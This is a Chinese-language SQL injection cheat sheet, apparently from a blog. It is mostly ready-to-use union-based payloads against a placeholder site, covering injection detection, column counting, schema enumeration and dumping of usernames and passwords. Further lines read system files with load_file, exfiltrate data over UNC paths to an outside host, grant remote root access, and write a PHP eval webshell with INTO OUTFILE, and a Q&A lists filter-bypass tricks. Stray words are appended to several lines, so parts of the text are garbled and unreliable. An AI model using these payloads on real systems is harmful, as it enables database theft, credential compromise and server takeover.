http://www.xxx.cn/list.php?page=4&id=524' 返回錯誤
http://www.xxx.cn/list.php?page=4&id=524 and 1=1 返回正確
http://www.xxx.cn/list.php?page=4&id=524 and 1=2 返回錯誤
PS:
弱類型語言(ASP/PHP): 'id=8' => int、 'id=8 and 1=1' => String
強類型語言(java/C#): String轉換int,則會拋出異常php
http://www.xxx.cn/list.php?page=4&cid=x' 返回錯誤
http://www.xxx.cn/list.php?page=4&cid=x' and '1'='1 返回正確
http://www.xxx.cn/list.php?page=4&cid=x' and '1'='1 返回錯誤java
' 返回錯誤
x%' and 1=1 and '%'=' 返回正確
x%' and 1=2 and '%'=' 返回錯誤
PS:
LIKE查詢:SELECT * from runoob_tbl WHERE runoob_author LIKE '%COM'
'%a%' //含有a的數據mysql
http://www.xxx.cn/list.php?page=4&id=524 order by 17 返回正確
http://www.xxx.cn/list.php?page=4&id=524 order by 18 返回錯誤sql
http://www.xxx.cn/list.php?page=4&cid=x' order by 17 # 返回正確
http://www.xxx.cn/list.php?page=4&cid=x' order by 18 # 返回錯誤數據庫
x%' order by 17 # 返回正確
x%' order by 18 # 返回錯誤
PS:
order by:根據指定的列對結果集進行排序
SQL注入order by做用是判斷表中有多少個字段windows
http://www.xxx.cn/list.php?page=4&id=524 and 1=2 union select 1,2,3,4,5,6,7,8,9,....瀏覽器
http://www.xxx.cn/list.php?page=4&cid=x' and 1=2 union select 1,2,3,4,5,6,7,8,9,.... #wordpress
x%' and 1=2 union select 1,2,3,4,5,6,7,8,9,.... #函數
http://www.xxx.cn/list.php?page=4&id=524 and 1=2 union select 1,2,database(),4,5,6,7,8,9,....orm
http://www.xxx.cn/list.php?page=4&cid=x' and 1=2 union select 1,2,database(),4,5,6,7,8,9,.... #
x%' and 1=2 union select 1,2,database(),4,5,6,7,8,9,.... #
PS:
select database()
http://www.xxx.cn/list.php?page=4&id=524 and 1=2 union select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table_schema='數據庫名'
http://www.xxx.cn/list.php?page=4&id=x' and 1=2 union select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table_schema='數據庫名' #
小智%' and 1=2 union select 1,2,group_concat(table_name),4,5,6,7,8,9,.... from information_schema.tables where table_schema='數據庫名' #
select * from character_sets union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema=0x776f72647072657373
PS:
一、數據庫名可使用十六進制:
二、information_schema庫:
有tables表
table_schema(表屬於那個數據庫)
table_name(數據庫裏的表名)
三、group_concat:將group by產生的同一個分組中的值鏈接起來,返回一個字符串結果
http://www.xxx.cn/list.php?page=4&id=524 and 1=2 union select 1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_name='表名'
http://www.xxx.cn/list.php?page=4&id=x' and 1=2 union select 1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_name='表名' #
小智%' and 1=2 union select 1,2,group_concat(column_name),4,5,6,7,8,9,.... from information_schema.columns where table_name='表名' #
PS:
一、表名也可使用十六進制
二、select * from character_sets union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name='wp_users'
http://www.xxx.cn/list.php?page=4&id=524 and 1=2 union select 1,group_concat(username,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from 表名
http://www.xxx.cn/list.php?page=4&id=x' and 1=2 union select 1,group_concat(username,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from 表名 #
x%' and 1=2 union select 1,2,group_concat(username,password),4,5,6,7,8,9,.... from 表名 #
PS:
select * from character_sets union select 1,2,group_concat(user_login,user_pass),4 from wordpress.wp_users
顯示數據庫:show databases;
顯示錶名: show tables;
顯示版本:select version();
顯示字符集:select @@character_set_database;
顯示計算機名:select @@hostname;
顯示系統版本:select @@version_compile_os;
顯示mysql路徑:select @@basedir;
顯示數據庫路徑:select @@datadir;
顯示root密碼:select User,Password from mysql.user;
開啓外連:GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;
查看權限:show variables like '%secure_file_priv%';
路徑必須爲絕對路徑,並且須要root權限
union select 1,load_file('/etc/passwd'),3,4,5 #
用十六進行繞過單引號過濾
union select 1,load_file(0x272F6574632F70617373776427),3,4,5 #
PS:
select load_file('C:\Windows\win.ini')
select load_file('c:/boot.ini')
select load_file(0x633a2f626f6f742e696e69)
select load_file('//ecma.io/1.txt') # smb協議
select load_file('\\\\ecma.io\\1.txt') # 可用於DNS隧道
select 1,'<?php eval($_POST[cmd])?>',3 into outfile 'D:/test.php'--
Q:id-1 判斷有注入 id+1 能夠嗎?
A:不行,URL+表明空格
Q:mysql有幾種註釋方式?
A:三種:
一、# 註釋該行
二、/註釋多行/
三、--+(--爲註釋,空格會被瀏覽器過濾因此有+)
Q:/*! ... */啥意思?
A:註釋後+!+數據庫編號,註釋能夠被執行
select 1 /*!40119 + 1*/
返回2(MySQL版本爲4.01.19或者更高)
返回1(其餘狀況)
select 1 /*!40119 + 1,version()*/
Q:"select select * from admin" 能夠執行嗎?
A:不能夠,select雙層須要加() eg: select (select @@datadir);
Q:windows下的Oracle數據庫是什麼權限?
A:必須是以system權限運行
Q:空格過濾了,可使用那些繞過,eg:un%0aion當union?
A://來替換eg: select/**/(select/**/@@datadir);
%09
%0A
%0D
+
/|–|/
/@–|/
/?–|/
/|%20–%20|/
Q:'='被過濾?
A:考慮like替換
eg:union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name like 'wp_users'
Q:空格被過濾?
A:考慮/**/'替換
eg:union/**/select/**/password/**/from/**/users/**/where/**/username/**/like/**/admin;
Q:關鍵字被過濾?
A:考慮內鏈註釋來繞過:
uni/**/on/**/sel/**/ect/**/password/**/fr/**/om/**/users/**/wh/**/ere/**/username/**/like/**/admin;
Q:SQL注入中'+'?
A:
MSSQL: "+"運算符被用於字符串和加法運算 '1'+'1'='11',1+1=2;
MySQL:"+"運算符只被用於加法運算,'1'+'1'='2',1+1=2;
Oracle:"+"運算符只被用於加法運算,'1'+'1'='2',1+1=2;
Q:字符串的鏈接符?
A:
MSSQL:'a' + 'b' = 'ab'
MYSQL:'a' 'b' = 'ab'
Oracle:'a'|| 'b' = 'ab'
Q:註釋符:MSSQL:'-- '(注意後面的空格),'/*...*/'MySQL:'-- ','# ','/*...*/',注意,--後面必需要有一個或者多個空格。Oracle:'-- ','/*...*/'三種數據庫中,通用的註釋符是'-- '